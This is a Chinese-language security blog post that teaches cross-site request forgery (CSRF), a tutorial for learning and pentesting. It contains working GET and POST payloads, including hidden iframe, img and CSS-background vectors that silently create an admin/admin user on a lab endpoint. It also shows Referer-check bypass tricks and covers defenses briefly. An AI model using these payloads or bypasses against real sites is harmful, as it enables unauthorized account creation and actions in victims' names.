Frieza

MS08067安全实验室

  博客园  :: 首页  :: 新随笔  :: 联系 ::  :: 管理

原理

攻击者盗用了用户身份,以用户名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作比如以你的名义发送邮件,发消息,盗取你的账号,添加系统管理员,购买商品等操作

攻击流程:

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A
  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求.网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行

image

与XSS区别:

  • XSS利用站点内的信任用户,盗取Cookie
  • CSRF通过伪装成受信任用户请求受信任网站

利用条件:

  1. 用户已经登录系统
  2. 用户访问对应URL

GET型CSRF:

构造URL链接,将构造好的链接插入网页中(可以使用img标签中的src属性)如:

构造链接插入用户名密码均为admin的用户
<http://127.0.0.1/csrf/add_user.php?username=admin&password=admin>

POST型CSRF:

设置表单,用于提交到目标页面如:
构造表单提交到目标页面,插入用户名密码均为admin的用户

<form action="http://127.0.0.1/csrf/add_user.php" method="post">	
<input type="hidden" name="username" value="admin">
<input type="hidden" name="password" value="admin">
<input type="submit" name="test" value="按钮">
</form>

检测:

  1. 无token无referer验证,先抓取一个正常请求的数据包,如果没token的话,先去掉referer字段再重新提交看返回值.如果没报错的话,那就可以直接写一个表单(POST型)或者构造个链接(GET型)重新测试,但有些通过ajax提交的是行不通的,因为ajax无法跨域
  2. 无token有referer验证
    • 尝试空referer: 即删除header中的referer的值
    • 修改referer值: 如果原referer值为Referer: t.qq.com/xxxx 话,我们可以试试修改为Referer: t.qq.com.baidu.com/xxx

悄悄的说一句,BP Pro可以生成CSRF POC

image

半自动化测试工具: CSRFTester , Deemon

nmap -Pn --script http-csrf (仅供参考)

利用:

使用"a"标签
<a href ="http://127.0.0.1/csrf/add_user.php?username=admin&password=admin">  </a>

使用"iframe"标签在页面加载过程中自动加载
<iframe src="http://127.0.0.1/csrf/add_user.php?username=admin&password=admin" style="display:none">

使用"img"标签,会随着页面加载而被请求
<img src="http://127.0.0.1/csrf/add_user.php?username=admin&password=admin">

使用CSS中background样式的URL加载远程机器上内容
body{
background:#00FF00 url(http://127.0.0.1/csrf/add_user.php?username=admin&password=admin) no-repeat fixed top;
}

防御

  1. 添加验证码
  2. 使用 Referer 头
  3. 新增随机Token
posted on 2021-03-18 11:08  Frieza_021  阅读(149)  评论(0)    收藏  举报